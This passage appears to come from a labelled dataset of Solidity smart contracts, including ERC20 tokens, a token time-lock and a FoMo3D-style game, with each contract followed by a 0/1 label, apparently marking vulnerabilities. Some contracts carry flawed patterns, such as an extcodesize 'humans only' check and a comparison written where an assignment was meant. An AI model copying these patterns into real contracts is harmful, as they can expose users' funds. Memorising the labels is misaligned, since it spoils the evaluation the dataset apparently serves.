x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract DaiMaker is DSMath { IMaker public maker; ERC20 public weth; ERC20 public peth; ERC20 public dai; event MakeDai(address indexed daiOwner, address indexed cdpOwner, uint256 ethAmount, uint256 daiAmount, uint256 pethAmount); function DaiMaker(IMaker _maker) { maker = _maker; weth = maker.gem(); peth = maker.skr(); dai = maker.sai(); } function makeDai(uint256 daiAmount, address cdpOwner, address daiOwner) payable public returns (bytes32 cdpId) { IWETH(weth).deposit.value(msg.value)(); weth.approve(maker, msg.value); uint256 inverseAsk = rdiv(msg.value, wmul(maker.gap(), maker.per())) - 1; maker.join(inverseAsk); uint256 pethAmount = peth.balanceOf(this); peth.approve(maker, pethAmount); cdpId = maker.open(); maker.lock(cdpId, pethAmount); maker.draw(cdpId, daiAmount); dai.transfer(daiOwner, daiAmount); maker.give(cdpId, cdpOwner); MakeDai(daiOwner, cdpOwner, msg.value, daiAmount, pethAmount); } }
0
pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Eclaircafe is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function Eclaircafe() public { symbol = "ECLRCF"; name = "ECLAIRCAFE"; decimals = 18; _totalSupply = 5000000000000000000000000000; balances[0xB7F09F9cCD6De2A8ed1852b823305c0D22409F90] = _totalSupply; Transfer(address(0), 0xB7F09F9cCD6De2A8ed1852b823305c0D22409F90, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28166400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x5a04CdF97B7584FAD07Edc38d777b52Ef372Da29 ; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract StandardTokenExt is StandardToken { function isToken() public constant returns (bool weAre) { return true; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract Issuer is Ownable { mapping(address => bool) public issued; StandardTokenExt public token; address public allower; uint public issuedCount; function Issuer(address _owner, address _allower, StandardTokenExt _token) { owner = _owner; allower = _allower; token = _token; } function issue(address benefactor, uint amount) onlyOwner { if(issued[benefactor]) throw; token.transferFrom(allower, benefactor, amount); issued[benefactor] = true; issuedCount += amount; } }
0
pragma solidity ^0.4.24; interface DiviesInterface { function deposit() external payable; } interface otherFoMo3D { function potSwap() external payable; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getPlayerLevel(uint256 _pID) external view returns (uint8); function getNameFee() external view returns (uint256); function deposit() external payable returns (bool); function updateRankBoard( uint256 _pID, uint256 _cost ) external; function resolveRankBoard() external; function setPlayerAffID(uint256 _pID,uint256 _laff) external; function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all, uint8 _level) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all, uint8 _level) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all, uint8 _level) external payable returns(bool, uint256); } interface HourglassInterface { function() payable external; function buy(address _playerAddress) payable external returns(uint256); function sell(uint256 _amountOfTokens) external; function reinvest() external; function withdraw() external; function exit() external; function dividendsOf(address _playerAddress) external view returns(uint256); function balanceOf(address _playerAddress) external view returns(uint256); function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool); function stakingRequirement() external view returns(uint256); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library UintCompressor { using SafeMath for *; function insert(uint256 _var, uint256 _include, uint256 _start, uint256 _end) internal pure returns(uint256) { require(_end < 77 && _start < 77, "start/end must be less than 77"); require(_end >= _start, "end must be >= start"); _end = exponent(_end).mul(10); _start = exponent(_start); require(_include < (_end / _start)); if (_include > 0) _include = _include.mul(_start); return((_var.sub((_var / _start).mul(_start))).add(_include).add((_var / _end).mul(_end))); } function extract(uint256 _input, uint256 _start, uint256 _end) internal pure returns(uint256) { require(_end < 77 && _start < 77, "start/end must be less than 77"); require(_end >= _start, "end must be >= start"); _end = exponent(_end).mul(10); _start = exponent(_start); return((((_input / _start).mul(_start)).sub((_input / _end).mul(_end))) / _start); } function exponent(uint256 _position) private pure returns(uint256) { return((10).pwr(_position)); } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library OPKKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } library OPKdatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 OPKAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; uint8 level; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 opk; } struct PotSplit { uint256 gen; uint256 opk; } } contract OPKevents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 OPKAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 OPKAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 OPKAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 OPKAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint8 level, uint256 timeStamp ); event onAffiliateDistribute ( uint256 from, address from_addr, uint256 to, address to_addr, uint8 level, uint256 fee, uint256 timeStamp ); event onAffiliateDistributeLeft ( uint256 pID, uint256 leftfee ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); event onDistributeRegisterFee ( uint256 affiliateID, bytes32 name, uint8 level, uint256 fee, uint256 communityFee, uint256 opkFee, uint256 refererFee, uint256 referPotFee ); } contract OkamiPKlong is OPKevents { using SafeMath for *; using NameFilter for string; using OPKKeysCalcLong for uint256; otherFoMo3D private otherOPK_; DiviesInterface constant private Divies = DiviesInterface(0xD2344f06ce022a7424619b2aF222e71b65824975); PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xC4665811782e94d0F496C715CA38D02dC687F982); address private Community_Wallet1 = 0x52da4d1771d1ae96a3e9771D45f65A6cd6f265Fe; address private Community_Wallet2 = 0x00E7326BB568b7209843aE8Ee4F6b3268262df7d; string constant public name = "Okami PK Long Official"; string constant public symbol = "Okami"; uint256 private rndExtra_ = 15 seconds; uint256 private rndGap_ = 1 hours; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => OPKdatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => OPKdatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => OPKdatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => OPKdatasets.TeamFee) public fees_; mapping (uint256 => OPKdatasets.PotSplit) public potSplit_; mapping (uint8 => uint256) public levelValue_; mapping (uint8 => uint8) public levelRate_; mapping (uint8 => uint8) public levelRate2_; constructor() public { levelValue_[3] = 0.01 ether; levelValue_[2] = 1 ether; levelValue_[1] = 5 ether; levelRate_[3] = 5; levelRate_[2] = 3; levelRate_[1] = 2; fees_[0] = OPKdatasets.TeamFee(30,6); fees_[1] = OPKdatasets.TeamFee(43,0); fees_[2] = OPKdatasets.TeamFee(56,10); fees_[3] = OPKdatasets.TeamFee(43,8); potSplit_[0] = OPKdatasets.PotSplit(15,10); potSplit_[1] = OPKdatasets.PotSplit(25,0); potSplit_[2] = OPKdatasets.PotSplit(20,20); potSplit_[3] = OPKdatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isValidLevel(uint8 _level) { require(_level >= 0 && _level <= 3, "invalid level"); require(msg.value >= levelValue_[_level], "sorry request price less than affiliate level"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } modifier onlyDevs(){ require( msg.sender == 0x00A32C09c8962AEc444ABde1991469eD0a9ccAf7 || msg.sender == 0x00aBBff93b10Ece374B14abb70c4e588BA1F799F, "only dev" ); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { OPKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { OPKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (plyr_[_pID].laff == 0) { plyr_[_pID].laff = _affID; PlayerBook.setPlayerAffID(_pID, _affID); }else { _affID = plyr_[_pID].laff; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { OPKdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (plyr_[_pID].laff == 0) { plyr_[_pID].laff = _affID; }else { _affID = plyr_[_pID].laff; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { OPKdatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit OPKevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.OPKAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit OPKevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function distributeRegisterFee(uint256 _fee, uint256 _affID, bytes32 _name, uint8 _level) private { uint256 _com = _fee * 3 / 10; uint256 _opk = _fee * 3 / 10; uint256 _ref; if (_affID > 0) { _ref = _fee * 3 / 10; plyr_[_affID].aff = _ref.add(plyr_[_affID].aff); }else { _opk += _fee * 3 / 10; } Divies.deposit.value(_opk)(); uint256 _refPot = _fee - _com - _opk - _ref; PlayerBook.deposit.value(_refPot)(); emit OPKevents.onDistributeRegisterFee(_affID,_name,_level,_fee,_com, _opk,_ref,_refPot); return; } function registerNameXname(string _nameString, bytes32 _affCode, bool _all, uint8 _level) isHuman() isValidLevel(_level) public payable { bytes32 _name = _nameString.nameFilter(); uint _fee = msg.value; uint _com = msg.value * 3 / 10; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(_com)(msg.sender, _name, _affCode, _all, _level); distributeRegisterFee(_fee,_affID,_name,_level); reloadPlayerInfo(msg.sender); emit OPKevents.onNewName(pIDxAddr_[msg.sender], msg.sender, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _com, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function isRoundActive(uint256 _rID) public view returns(bool) { if( activated_ == false ) { return false; } return (now > round_[_rID].strt + rndGap_ && (now <= round_[_rID].end || (now > round_[_rID].end && round_[_rID].plyr == 0))) ; } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], 0 ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256, uint8, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth, plyr_[_pID].level, plyr_[_pID].laff ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, OPKdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit OPKevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.OPKAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, OPKdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit OPKevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.OPKAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, OPKdatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); if(_pID != _affID){ PlayerBook.updateRankBoard(_pID,_eth); } PlayerBook.resolveRankBoard(); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff, uint8 _level) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; if (plyr_[_pID].level != _level){ if (_level >= 0 && _level <= 3) plyr_[_pID].level = _level; } } function getBytesName(string _fromName) public pure returns(bytes32) { return _fromName.nameFilter(); } function validateName(string _fromName) public view returns(uint256) { bytes32 _bname = _fromName.nameFilter(); return pIDxName_[_bname]; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function reloadPlayerInfo(address addr) private { uint256 _pID = PlayerBook.getPlayerID(addr); bytes32 